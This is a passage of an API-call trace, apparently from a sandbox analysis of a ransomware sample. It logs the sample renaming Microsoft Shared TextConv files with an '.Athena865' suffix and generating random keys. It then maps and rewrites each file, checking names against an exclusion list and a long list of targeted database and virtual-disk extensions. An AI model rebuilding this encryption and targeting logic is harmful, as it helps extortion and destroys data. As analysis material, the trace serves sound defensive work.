77 [0116.967] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.athena865"), dwFlags=0x1) returned 1 [0116.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0116.968] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=196976) returned 1 [0116.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0116.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0116.969] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0116.969] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.969] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.970] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30470, lpName=0x0) returned 0x17c [0116.971] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30470) returned 0x170000 [0116.983] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0116.984] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.984] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.984] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0116.986] CloseHandle (hObject=0x17c) returned 1 [0116.986] CloseHandle (hObject=0x154) returned 1 [0116.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0116.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0116.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.987] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0116.987] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.987] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.987] lstrcmpiW (lpString1="WPFT632.CNV", lpString2=".") returned 1 [0116.987] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="..") returned 1 [0116.987] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="windows") returned 1 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="bootmgr") returned 1 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="temp") returned 1 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="pagefile.sys") returned 1 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="boot") returned 1 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="ids.txt") returned 1 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="ntuser.dat") returned 1 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="perflogs") returned 1 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="MSBuild") returned 1 [0116.988] lstrlenW (lpString="WPFT632.CNV") returned 11 [0116.988] lstrcpyW (in: lpString1=0x241e8b8, lpString2="WPFT632.CNV" | out: lpString1="WPFT632.CNV") returned="WPFT632.CNV" [0116.988] lstrlenW (lpString="WPFT632.CNV") returned 11 [0116.988] lstrlenW (lpString="Athena865") returned 9 [0116.988] lstrcmpiW (lpString1="FT632.CNV", lpString2="Athena865") returned 1 [0116.988] lstrlenW (lpString=".dll") returned 4 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2=".dll") returned 1 [0116.988] lstrlenW (lpString=".lnk") returned 4 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2=".lnk") returned 1 [0116.988] lstrlenW (lpString=".ini") returned 4 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2=".ini") returned 1 [0116.988] lstrlenW (lpString=".sys") returned 4 [0116.988] lstrcmpiW (lpString1="WPFT632.CNV", lpString2=".sys") returned 1 [0116.988] lstrlenW (lpString="WPFT632.CNV") returned 11 [0116.988] lstrlenW (lpString="bak") returned 3 [0116.988] lstrcmpiW (lpString1="CNV", lpString2="bak") returned 1 [0116.988] lstrlenW (lpString="ba_") returned 3 [0116.988] lstrcmpiW (lpString1="CNV", lpString2="ba_") returned 1 [0116.988] lstrlenW (lpString="dbb") returned 3 [0116.988] lstrcmpiW (lpString1="CNV", lpString2="dbb") returned -1 [0116.988] lstrlenW (lpString="vmdk") returned 4 [0116.989] lstrcmpiW (lpString1=".CNV", lpString2="vmdk") returned -1 [0116.989] lstrlenW (lpString="rar") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="rar") returned -1 [0116.989] lstrlenW (lpString="zip") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="zip") returned -1 [0116.989] lstrlenW (lpString="tgz") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="tgz") returned -1 [0116.989] lstrlenW (lpString="vbox") returned 4 [0116.989] lstrcmpiW (lpString1=".CNV", lpString2="vbox") returned -1 [0116.989] lstrlenW (lpString="vdi") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="vdi") returned -1 [0116.989] lstrlenW (lpString="vhd") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="vhd") returned -1 [0116.989] lstrlenW (lpString="vhdx") returned 4 [0116.989] lstrcmpiW (lpString1=".CNV", lpString2="vhdx") returned -1 [0116.989] lstrlenW (lpString="avhd") returned 4 [0116.989] lstrcmpiW (lpString1=".CNV", lpString2="avhd") returned -1 [0116.989] lstrlenW (lpString="db") returned 2 [0116.989] lstrcmpiW (lpString1="NV", lpString2="db") returned 1 [0116.989] lstrlenW (lpString="db2") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="db2") returned -1 [0116.989] lstrlenW (lpString="db3") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="db3") returned -1 [0116.989] lstrlenW (lpString="dbf") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="dbf") returned -1 [0116.989] lstrlenW (lpString="mdf") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="mdf") returned -1 [0116.989] lstrlenW (lpString="mdb") returned 3 [0116.989] lstrcmpiW (lpString1="CNV", lpString2="mdb") returned -1 [0116.990] lstrlenW (lpString="sql") returned 3 [0116.990] lstrcmpiW (lpString1="CNV", lpString2="sql") returned -1 [0116.990] lstrlenW (lpString="sqlite") returned 6 [0116.990] lstrcmpiW (lpString1="32.CNV", lpString2="sqlite") returned -1 [0116.990] lstrlenW (lpString="sqlite3") returned 7 [0116.990] lstrcmpiW (lpString1="632.CNV", lpString2="sqlite3") returned -1 [0116.990] lstrlenW (lpString="sqlitedb") returned 8 [0116.990] lstrcmpiW (lpString1="T632.CNV", lpString2="sqlitedb") returned 1 [0116.990] lstrlenW (lpString="xml") returned 3 [0116.990] lstrcmpiW (lpString1="CNV", lpString2="xml") returned -1 [0116.990] lstrlenW (lpString="$er") returned 3 [0116.990] lstrcmpiW (lpString1="CNV", lpString2="$er") returned 1 [0116.990] lstrlenW (lpString="4dd") returned 3 [0116.990] lstrcmpiW (lpString1="CNV", lpString2="4dd") returned 1 [0116.990] lstrlenW (lpString="4dl") returned 3 [0116.990] lstrcmpiW (lpString1="CNV", lpString2="4dl") returned 1 [0116.990] lstrlenW (lpString="^^^") returned 3 [0116.990] lstrcmpiW (lpString1="CNV", lpString2="^^^") returned 1 [0116.990] lstrlenW (lpString="abs") returned 3 [0116.990] lstrcmpiW (lpString1="CNV", lpString2="abs") returned 1 [0116.990] lstrlenW (lpString="abx") returned 3 [0116.990] lstrcmpiW (lpString1="CNV", lpString2="abx") returned 1 [0116.990] lstrlenW (lpString="accdb") returned 5 [0116.990] lstrcmpiW (lpString1="2.CNV", lpString2="accdb") returned -1 [0116.990] lstrlenW (lpString="accdc") returned 5 [0116.990] lstrcmpiW (lpString1="2.CNV", lpString2="accdc") returned -1 [0116.990] lstrlenW (lpString="accde") returned 5 [0116.990] lstrcmpiW (lpString1="2.CNV", lpString2="accde") returned -1 [0116.990] lstrlenW (lpString="accdr") returned 5 [0116.991] lstrcmpiW (lpString1="2.CNV", lpString2="accdr") returned -1 [0116.991] lstrlenW (lpString="accdt") returned 5 [0116.991] lstrcmpiW (lpString1="2.CNV", lpString2="accdt") returned -1 [0116.991] lstrlenW (lpString="accdw") returned 5 [0116.991] lstrcmpiW (lpString1="2.CNV", lpString2="accdw") returned -1 [0116.991] lstrlenW (lpString="accft") returned 5 [0116.991] lstrcmpiW (lpString1="2.CNV", lpString2="accft") returned -1 [0116.991] lstrlenW (lpString="adb") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="adb") returned 1 [0116.991] lstrlenW (lpString="adb") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="adb") returned 1 [0116.991] lstrlenW (lpString="ade") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="ade") returned 1 [0116.991] lstrlenW (lpString="adf") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="adf") returned 1 [0116.991] lstrlenW (lpString="adn") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="adn") returned 1 [0116.991] lstrlenW (lpString="adp") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="adp") returned 1 [0116.991] lstrlenW (lpString="alf") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="alf") returned 1 [0116.991] lstrlenW (lpString="ask") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="ask") returned 1 [0116.991] lstrlenW (lpString="btr") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="btr") returned 1 [0116.991] lstrlenW (lpString="cat") returned 3 [0116.991] lstrcmpiW (lpString1="CNV", lpString2="cat") returned 1 [0116.991] lstrlenW (lpString="cdb") returned 3 [0116.992] lstrcmpiW (lpString1="CNV", lpString2="cdb") returned 1 [0116.992] lstrlenW (lpString="ckp") returned 3 [0116.992] lstrcmpiW (lpString1="CNV", lpString2="ckp") returned 1 [0116.992] lstrlenW (lpString="cma") returned 3 [0116.992] lstrcmpiW (lpString1="CNV", lpString2="cma") returned 1 [0116.992] lstrlenW (lpString="cpd") returned 3 [0116.992] lstrcmpiW (lpString1="CNV", lpString2="cpd") returned -1 [0116.992] lstrlenW (lpString="dacpac") returned 6 [0116.992] lstrcmpiW (lpString1="32.CNV", lpString2="dacpac") returned -1 [0116.992] lstrlenW (lpString="dad") returned 3 [0116.992] lstrcmpiW (lpString1="CNV", lpString2="dad") returned -1 [0116.992] lstrlenW (lpString="dadiagrams") returned 10 [0116.992] lstrcmpiW (lpString1="PFT632.CNV", lpString2="dadiagrams") returned 1 [0116.992] lstrlenW (lpString="daschema") returned 8 [0116.992] lstrcmpiW (lpString1="T632.CNV", lpString2="daschema") returned 1 [0116.992] lstrlenW (lpString="db-journal") returned 10 [0116.992] lstrcmpiW (lpString1="PFT632.CNV", lpString2="db-journal") returned 1 [0116.992] lstrlenW (lpString="db-shm") returned 6 [0116.992] lstrcmpiW (lpString1="32.CNV", lpString2="db-shm") returned -1 [0116.992] lstrlenW (lpString="db-wal") returned 6 [0116.992] lstrcmpiW (lpString1="32.CNV", lpString2="db-wal") returned -1 [0116.992] lstrlenW (lpString="dbc") returned 3 [0116.992] lstrcmpiW (lpString1="CNV", lpString2="dbc") returned -1 [0116.992] lstrlenW (lpString="dbs") returned 3 [0116.992] lstrcmpiW (lpString1="CNV", lpString2="dbs") returned -1 [0116.992] lstrlenW (lpString="dbt") returned 3 [0116.992] lstrcmpiW (lpString1="CNV", lpString2="dbt") returned -1 [0116.992] lstrlenW (lpString="dbv") returned 3 [0116.992] lstrcmpiW (lpString1="CNV", lpString2="dbv") returned -1 [0116.993] lstrlenW (lpString="dbx") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="dbx") returned -1 [0116.993] lstrlenW (lpString="dcb") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="dcb") returned -1 [0116.993] lstrlenW (lpString="dct") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="dct") returned -1 [0116.993] lstrlenW (lpString="dcx") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="dcx") returned -1 [0116.993] lstrlenW (lpString="ddl") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="ddl") returned -1 [0116.993] lstrlenW (lpString="dlis") returned 4 [0116.993] lstrcmpiW (lpString1=".CNV", lpString2="dlis") returned -1 [0116.993] lstrlenW (lpString="dp1") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="dp1") returned -1 [0116.993] lstrlenW (lpString="dqy") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="dqy") returned -1 [0116.993] lstrlenW (lpString="dsk") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="dsk") returned -1 [0116.993] lstrlenW (lpString="dsn") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="dsn") returned -1 [0116.993] lstrlenW (lpString="dtsx") returned 4 [0116.993] lstrcmpiW (lpString1=".CNV", lpString2="dtsx") returned -1 [0116.993] lstrlenW (lpString="dxl") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="dxl") returned -1 [0116.993] lstrlenW (lpString="eco") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="eco") returned -1 [0116.993] lstrlenW (lpString="ecx") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="ecx") returned -1 [0116.993] lstrlenW (lpString="edb") returned 3 [0116.993] lstrcmpiW (lpString1="CNV", lpString2="edb") returned -1 [0116.994] lstrlenW (lpString="epim") returned 4 [0116.994] lstrcmpiW (lpString1=".CNV", lpString2="epim") returned -1 [0116.994] lstrlenW (lpString="fcd") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fcd") returned -1 [0116.994] lstrlenW (lpString="fdb") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fdb") returned -1 [0116.994] lstrlenW (lpString="fic") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fic") returned -1 [0116.994] lstrlenW (lpString="flexolibrary") returned 12 [0116.994] lstrlenW (lpString="fm5") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fm5") returned -1 [0116.994] lstrlenW (lpString="fmp") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fmp") returned -1 [0116.994] lstrlenW (lpString="fmp12") returned 5 [0116.994] lstrcmpiW (lpString1="2.CNV", lpString2="fmp12") returned -1 [0116.994] lstrlenW (lpString="fmpsl") returned 5 [0116.994] lstrcmpiW (lpString1="2.CNV", lpString2="fmpsl") returned -1 [0116.994] lstrlenW (lpString="fol") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fol") returned -1 [0116.994] lstrlenW (lpString="fp3") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fp3") returned -1 [0116.994] lstrlenW (lpString="fp4") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fp4") returned -1 [0116.994] lstrlenW (lpString="fp5") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fp5") returned -1 [0116.994] lstrlenW (lpString="fp7") returned 3 [0116.994] lstrcmpiW (lpString1="CNV", lpString2="fp7") returned -1 [0116.994] lstrlenW (lpString="fpt") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="fpt") returned -1 [0116.995] lstrlenW (lpString="frm") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="frm") returned -1 [0116.995] lstrlenW (lpString="gdb") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="gdb") returned -1 [0116.995] lstrlenW (lpString="gdb") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="gdb") returned -1 [0116.995] lstrlenW (lpString="grdb") returned 4 [0116.995] lstrcmpiW (lpString1=".CNV", lpString2="grdb") returned -1 [0116.995] lstrlenW (lpString="gwi") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="gwi") returned -1 [0116.995] lstrlenW (lpString="hdb") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="hdb") returned -1 [0116.995] lstrlenW (lpString="his") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="his") returned -1 [0116.995] lstrlenW (lpString="ib") returned 2 [0116.995] lstrcmpiW (lpString1="NV", lpString2="ib") returned 1 [0116.995] lstrlenW (lpString="idb") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="idb") returned -1 [0116.995] lstrlenW (lpString="ihx") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="ihx") returned -1 [0116.995] lstrlenW (lpString="itdb") returned 4 [0116.995] lstrcmpiW (lpString1=".CNV", lpString2="itdb") returned -1 [0116.995] lstrlenW (lpString="itw") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="itw") returned -1 [0116.995] lstrlenW (lpString="jet") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="jet") returned -1 [0116.995] lstrlenW (lpString="jtx") returned 3 [0116.995] lstrcmpiW (lpString1="CNV", lpString2="jtx") returned -1 [0116.996] lstrlenW (lpString="kdb") returned 3 [0116.996] lstrcmpiW (lpString1="CNV", lpString2="kdb") returned -1 [0116.996] lstrlenW (lpString="kexi") returned 4 [0116.996] lstrcmpiW (lpString1=".CNV", lpString2="kexi") returned -1 [0116.996] lstrlenW (lpString="kexic") returned 5 [0116.996] lstrcmpiW (lpString1="2.CNV", lpString2="kexic") returned -1 [0116.996] lstrlenW (lpString="kexis") returned 5 [0116.996] lstrcmpiW (lpString1="2.CNV", lpString2="kexis") returned -1 [0116.996] lstrlenW (lpString="lgc") returned 3 [0116.996] lstrcmpiW (lpString1="CNV", lpString2="lgc") returned -1 [0116.996] lstrlenW (lpString="lwx") returned 3 [0116.996] lstrcmpiW (lpString1="CNV", lpString2="lwx") returned -1 [0116.996] lstrlenW (lpString="maf") returned 3 [0116.996] lstrcmpiW (lpString1="CNV", lpString2="maf") returned -1 [0116.996] lstrlenW (lpString="maq") returned 3 [0116.996] lstrcmpiW (lpString1="CNV", lpString2="maq") returned -1 [0116.996] lstrlenW (lpString="mar") returned 3 [0116.996] lstrcmpiW (lpString1="CNV", lpString2="mar") returned -1 [0116.996] lstrlenW (lpString="marshal") returned 7 [0116.996] lstrcmpiW (lpString1="632.CNV", lpString2="marshal") returned -1 [0116.996] lstrlenW (lpString="mas") returned 3 [0116.996] lstrcmpiW (lpString1="CNV", lpString2="mas") returned -1 [0116.996] lstrlenW (lpString="mav") returned 3 [0116.996] lstrcmpiW (lpString1="CNV", lpString2="mav") returned -1 [0116.996] lstrlenW (lpString="maw") returned 3 [0116.996] lstrcmpiW (lpString1="CNV", lpString2="maw") returned -1 [0116.996] lstrlenW (lpString="mdbhtml") returned 7 [0116.996] lstrcmpiW (lpString1="632.CNV", lpString2="mdbhtml") returned -1 [0116.996] lstrlenW (lpString="mdn") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="mdn") returned -1 [0116.997] lstrlenW (lpString="mdt") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="mdt") returned -1 [0116.997] lstrlenW (lpString="mfd") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="mfd") returned -1 [0116.997] lstrlenW (lpString="mpd") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="mpd") returned -1 [0116.997] lstrlenW (lpString="mrg") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="mrg") returned -1 [0116.997] lstrlenW (lpString="mud") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="mud") returned -1 [0116.997] lstrlenW (lpString="mwb") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="mwb") returned -1 [0116.997] lstrlenW (lpString="myd") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="myd") returned -1 [0116.997] lstrlenW (lpString="ndf") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="ndf") returned -1 [0116.997] lstrlenW (lpString="nnt") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="nnt") returned -1 [0116.997] lstrlenW (lpString="nrmlib") returned 6 [0116.997] lstrcmpiW (lpString1="32.CNV", lpString2="nrmlib") returned -1 [0116.997] lstrlenW (lpString="ns2") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="ns2") returned -1 [0116.997] lstrlenW (lpString="ns3") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="ns3") returned -1 [0116.997] lstrlenW (lpString="ns4") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="ns4") returned -1 [0116.997] lstrlenW (lpString="nsf") returned 3 [0116.997] lstrcmpiW (lpString1="CNV", lpString2="nsf") returned -1 [0116.997] lstrlenW (lpString="nv") returned 2 [0116.998] lstrcmpiW (lpString1="NV", lpString2="nv") returned 0 [0116.998] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.Athena865") returned 77 [0116.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.athena865"), dwFlags=0x1) returned 1 [0117.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0117.007] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=289648) returned 1 [0117.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0117.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0117.007] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0117.008] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.008] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0117.008] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46e70, lpName=0x0) returned 0x17c [0117.009] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46e70) returned 0x2d50000 [0117.023] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0117.024] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.024] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0117.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0117.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0117.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0117.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0117.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.024] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0117.027] CloseHandle (hObject=0x17c) returned 1 [0117.027] CloseHandle (hObject=0x154) returned 1 [0117.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0117.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0117.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.028] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0117.028] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0117.028] ReleaseMutex (hMutex=0xec) returned 1 [0117.028] CloseHandle (hObject=0xec) returned 1 [0117.029] lstrcpyW (in: 